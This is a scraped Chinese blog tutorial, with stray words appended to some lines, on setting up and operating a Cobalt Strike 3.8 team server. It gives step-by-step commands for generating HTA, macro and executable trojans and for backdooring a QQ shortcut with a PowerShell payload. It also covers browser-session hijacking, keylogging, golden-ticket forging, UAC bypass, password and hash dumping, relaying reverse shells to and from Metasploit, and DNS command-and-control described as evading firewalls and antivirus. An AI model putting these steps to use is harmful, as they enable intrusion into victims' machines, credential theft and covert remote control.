cobaltstrike3.8服務器搭建及使用

參考連接:html

https://www.ezreal.net/archives/166.html
http://blog.cobaltstrike.com/category/cobalt-strike-2/ cobaltstrike做者博客
https://wujunze.com/wooyun/drops/Cobalt%20Strike%20之團隊服務器的搭建與DNS通信演示.html 

 

   cobalt strike從3.0 開始,再也不依賴於Metasploit框架而是做爲一個獨立的平臺使用。本次服務器搭建過程使用cobaltstrike3.8。3.0以前的版本,teamserver搭建過程則須要安裝配置msf,這裏不在贅述。java

 

1、服務器Teamserver搭建

(1)團隊服務器上:linux

 (VPS的話要寫外網ip,而且能夠進行端口映射,默認使用50050端口)git

sudo ./teamserver 服務器IP 鏈接密碼   

可是這個終端一關閉團隊服務器也就關閉了,這裏咱們能夠把他置於後臺來運行:github

nohup ./teamserver IP 密碼 &

這樣就能夠了,這個目錄下會生成一個nohup.out的文件web

注意shell

1.內存使用超過%50 沒法啓動java虛擬機。
2.3.0以前的版本,結束Cobalt Strike的時候也要同時結束全部 msfrpcd 進程,不然下次會啓動不了。數據庫

 

(2)使用客戶端鏈接windows

java  -jar cobaltstrike.jar 

 

我的在使用過程當中,曾經出現過jvm內存不夠的問題,致使服務器運行出錯。能夠添加swap虛擬內存,具體能夠參考個人另一篇博文:linux添加swap瀏覽器

 

2、Cobaltstrike的使用

1.建立Listener

Cobalt Strike首先須要建立一個Listener,用於監聽會話和接受shell鏈接。依次點擊 Cobalt Strike->Listeners ,點擊Add即可以建立本身想要的Listener。


2. Attacks過程

(1)Packages

  這個選項中包含了多種攻擊方式。

HTML Application        生成惡意的HTA木馬文件;
MS Office Macro         生成office宏病毒文件;
Payload Generator        生成各類語言版本的payload;
USB/CD AutoPlay        生成利用自動播放運行的木馬文件;
Windows Dropper        捆綁器,可以對文檔類進行捆綁;
Windows Executable      生成可執行exe木馬;
Windows Executable(S)    生成無狀態的可執行exe木馬

舉例

HTML Application 生成一個基於powershell的惡意HTA木馬

選中attack–>packages–>HTML Application

選擇基於powershell的HTA木馬
點擊Generate保存錄便可生成一個HTA木馬
當目標點擊HTA木馬後便可得到一個beacon

 

MS Office Macro 生成office宏病毒文件

能夠參考:Office Phishing

 

(2)Web Drive-by(釣魚攻擊)

Manage             對開啓的web服務進行管理;
Clone Site            克隆網站,能夠記錄受害者提交的數據;
Host File            提供一個文件下載,能夠修改Mime信息;Host File 能夠配合DNS欺騙實現掛馬效果使用
PowerShell Web Delivery    相似於msf 的web_delivery ;
Signed Applet Attack     使用java自簽名的程序進行釣魚攻擊;
Smart Applet Attack     自動檢測java版本並進行攻擊,針對Java 1.6.0_45如下以及Java 1.7.0_21如下版本;
System Profiler       用來獲取一些系統信息,好比系統版本,Flash版本,瀏覽器版本等。
Spear Phish          用來郵件釣魚的模塊

 

還有其餘的模塊其實都差很少
如Signed Applet Attack Smart Applet Attack和S.E.T的java攻擊向量相同

powershell web-Drive-by製做快捷方式後門:

依次選擇attack–>web-Drive-by–>powershell Drive-by
URI Path:/ 
Local Port:80    
Listener:saya
Laubch生成以後會輸出一條語句這條語句在powershell運行會獲得一個beacon可是通常人不會這麼去運行
隨便複製一個軟件的快捷方式
這裏以QQ快捷方式爲例子目標,複製咱們的powershell語句,起始位置清空,粘貼咱們的語句,"應用",當目標點擊快捷方式得到beacon

(3)View

Applications    顯示受害者機器的應用信息;
Credentials     顯示受害者機器的憑證信息,能更方便的進行後續滲透;
Downloads      文件下載;
Event Log      能夠看到事件日誌,清楚的看到系統的事件,而且團隊能夠在這裏聊天;
Keystrokes     查看鍵盤記錄;
Proxy Pivots    查看代理信息;
Screenshots     查看屏幕截圖;
Script Console   在這裏能夠加載各類腳本以加強功能,腳本地址:https://github.com/rsmudge/cortana-scripts
Targets       查看目標;
Web Log       查看web日誌。
Reporting      主要就是出報告用的

 

(4)Beacon
  Beacon能夠選擇經過DNS仍是HTTP協議出口網絡,你甚至能夠在使用Beacon通信過程當中切換HTTP和DNS。其支持多主機鏈接,部署 好Beacon後提交一個要連回的域名或主機的列表,Beacon將經過這些主機輪詢。目標網絡的防禦團隊必須攔截全部的列表中的主機纔可中斷和其網絡的 通信。經過種種方式獲取shell之後(好比直接運行生成的exe),就可使用beacon了

右擊電腦,Interact,則可打開Beacon Console;爲了能快速顯示結果,能夠設置
beacon>sleep 0

1)Browserpivot
用戶注入受害者瀏覽器進程,而後開啓HTTP代理,以後就能夠登陸受害者登陸的網站了。
使用方式

ps找到瀏覽器進程PID,如iexplorer.exe,爲3452
注入進程:beacon> browserpivot 3452(PID) x64(架構)
注入瀏覽器進程成功以後,會顯示: Browser Pivot HTTP proxy is at: xxx.xxx.xxx.xxx:端口號
設置本地HTTP瀏覽器代理

固然當被攻擊者關閉瀏覽器的時候,代理也就失效了,關閉此代理可以使用以下命令:browserpivot stop

 

2)Socks
  直接開啓socks4a代理,能夠經過代理進行內網滲透測試。

開啓socksbeacon>socks 9999
這裏能夠選擇其中一臺,右鍵Pivoting->SOCKS Server,則使用此臺計算機開啓socks代理。
配置proxychains.conf,添加: socks4 127.0.0.1 9999
而後就能夠經過proxychains 等各類工具作內網滲透了。

  msf中開啓隧道使用(在鏈接數據庫的狀況下,msf會與本地數據庫斷開)

msf>setg Proxies socks:192.168.1.103.53790

關閉socks:beacon>socks stop

 

3)Screenshot

這裏的screenshot能夠截取受害者必定時間的屏幕截圖,操做命令爲:

beacon>screenshot [pid] <x86|x64> [run time in seconds]

或者: beacon>screenshot
而後打開View->Screenshots,則能夠看到屏幕截圖

 

4)Keylogger鍵盤記錄器

keylogger [pid] <x86|x64>

而後打開View->Keystrokes,則能夠看到鍵盤記錄結果

若是不想使用命令行,能夠直接選擇受害者計算機(可多選)

 

5)powershell-import
這個功能在後滲透測試中頗有用,能夠導入各類powershell滲透框架,好比nishang的powerpreter,直接執行:

beacon> powershell-import

而後在文件瀏覽器裏面選擇 Powerpreter.psm1

或者直接執行:

powershell-import [/path/to/local/script.ps1]

進行導入,以後就可使用powerpreter的各類模塊了。

要執行某模塊直接使用以下命令,好比:beacon> powershell Check-VM


6)kerberos

這裏一共有三個模塊,分別是:

kerberos_ccache_use      從ccache文件中導入票據
kerberos_ticket_purge    清除當前會話的票據
kerberos_ticket_use     從ticket文件中導入票據

使用mimikatz:

kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE

烏雲關於kerberos也有相關文章
http://drops.wooyun.org/tips/7547 內網滲透中的mimikatz
http://drops.wooyun.org/tips/9591 域滲透的金之鑰匙

 

7)BypassUAC
直接執行:

beacon> bypassuac

下面你就能夠執行那些須要最高權限的操做了。

這一塊在測試Win10的時候並無成功,關於Win10的bypassuac能夠參考這篇文章

使用一個做者修改的powershell腳本 invoke-BypassUAC.ps1

生成一個beacon後門:
Windows Executable
Listener:reverse_http
Output: Windows EXE

上傳後門:
beacon> cd E:
beacon> upload /Users/evi1cg/Desktop/test.exe 
加載powershell執行後門:

beacon> powershell-import /Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.ps1
beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe'

使用那個破了的電腦的beacon讀取密碼:
beacon> sleep 0
beacon> wdigest
beacon> hashdump

 

3、高級用法

一、cobalt strike派生shell給metasploit

首先咱們使用msf的reverse_tcp開啓監聽模式:

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.100
lhost => 192.168.1.100
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit

以後使用Cobalt Strike建立一個

windows/foreign/reverse_tcp Listener

其中ip爲msf的ip地址,端口爲msf所監聽的端口。
而後選中計算機,右鍵->Spawn,選擇剛剛建立的監聽器:
msf中便可看到成功獲取了meterpreter會話

 

二、Metasploit派生shell給cobaltstrike

你前提須要有一個meterpreter會話 ,而後咱們使用這個模塊

exploit/windows/local/payload_inject

功能是注入一個新的payload 到當前的session裏面

 

咱們先在cobaltstrike上建立一個監聽器,等會用於接收msf派生的shell,這裏我使用

windows/beacon_http/reverse_http

而後在msf中

use exploit/windows/local/payload_inject
msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http
msf exploit(payload_inject) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit(payload_inject) > set LHOST 192.168.81.135
LHOST => 192.168.81.135
msf exploit(payload_inject) > set LPORT 8880
LPORT => 8880
msf exploit(payload_inject) > set SESSION 1
SESSION => 1
msf exploit(payload_inject) > exploit
[*] Running module against WIN-I6HQQE1E7AG
[*] Launching notepad.exe...
[*] Preparing 'windows/meterpreter/reverse_http' for PID 3916
msf exploit(payload_inject) >

 

解釋下:
cobaltstrike的監聽器咱們使用的是:windows/beacon_http/reverse_http,
因此咱們msf的payload要使用:windows/meterpreter/reverse_http

設置msf本地監聽ip和端口爲cobaltstrike機器的ip和端口

默認狀況下,payload_inject執行以後會在本地產生一個新的handler,
因爲咱們已經有了一個,因此不須要在產生一個,因此這裏咱們設置
set DisablePayloadHandler true

若是出現錯誤,PID does not actually exist,能夠設置一下注入進程的pid。set pid 進程號

 

三、經過DNS控制目標

  Cobalt Strike有個beacons的功能,它能夠經過DNS,HTTP,SMB來傳輸數據,下面我以DNS爲例演示下。經過DNS來控制目標和滲透好處是不開端口,能繞過大部分防火牆,隱蔽性好等等。詳細文章可參考這篇博文

1. 域名設置  

 (1)首先咱們的有個域名,而且建立一條A記錄指向咱們的metasploit服務器,記住不要用CDN什麼的

 (2)而後再建立2個或3個ns記錄指向剛纔建立的A記錄。這樣咱們就能夠經過dns找到咱們的metasploit服務器了。

2. Cobalt Strike設置

在Cobalt Strike中咱們添加一個listener

Edit Listener
Payload windows/beacon_dns/reverse_http
host
port 80

  HOST填寫的是metasplit服務的IP,在點擊Save的時候會要求填寫你的NS記錄,這裏寫入咱們剛纔建立的3個ns記錄。接下來建立一個木馬測試下。

 

3. 木馬生成

在attack->packages中找到windows木馬生成

Windows Executable
Listener: beacon(DNS)
Output: Windows EXE

Listener選擇咱們剛纔建立的(有兩個,選擇有DNS的那個),輸出的有exe,帶服務的EXE,dll等。

(鏈接方式以DNS生成的DLL木馬能過掉很大一部分殺毒軟件)

把生成的DNS.EXE放到虛擬機中運行。

回到Cobalt Strike打開beacons管理器發現有一個服務端響應了咱們

右鍵是管理菜單,選擇sleep設置相應的時間,而後選擇interact來到操做界面

 

4.設置傳輸模式

  傳輸有dns、dns-txt,http,smb四種,咱們這裏用的是DNS就在dns、dns-txt中選擇把,前者傳送的數據小後者傳送的數據多。命令

beacon> mode dns-txt(這裏能夠用TAB補齊命令的)

 

這中方式好處在於比較對控制目標主機比較隱蔽,缺點在每次的命令的返回結果比較慢,在過防火牆方面仍是不錯的。

 

 拓展

強化你的Cobalt strike之Cortana

相關文章
相關標籤/搜索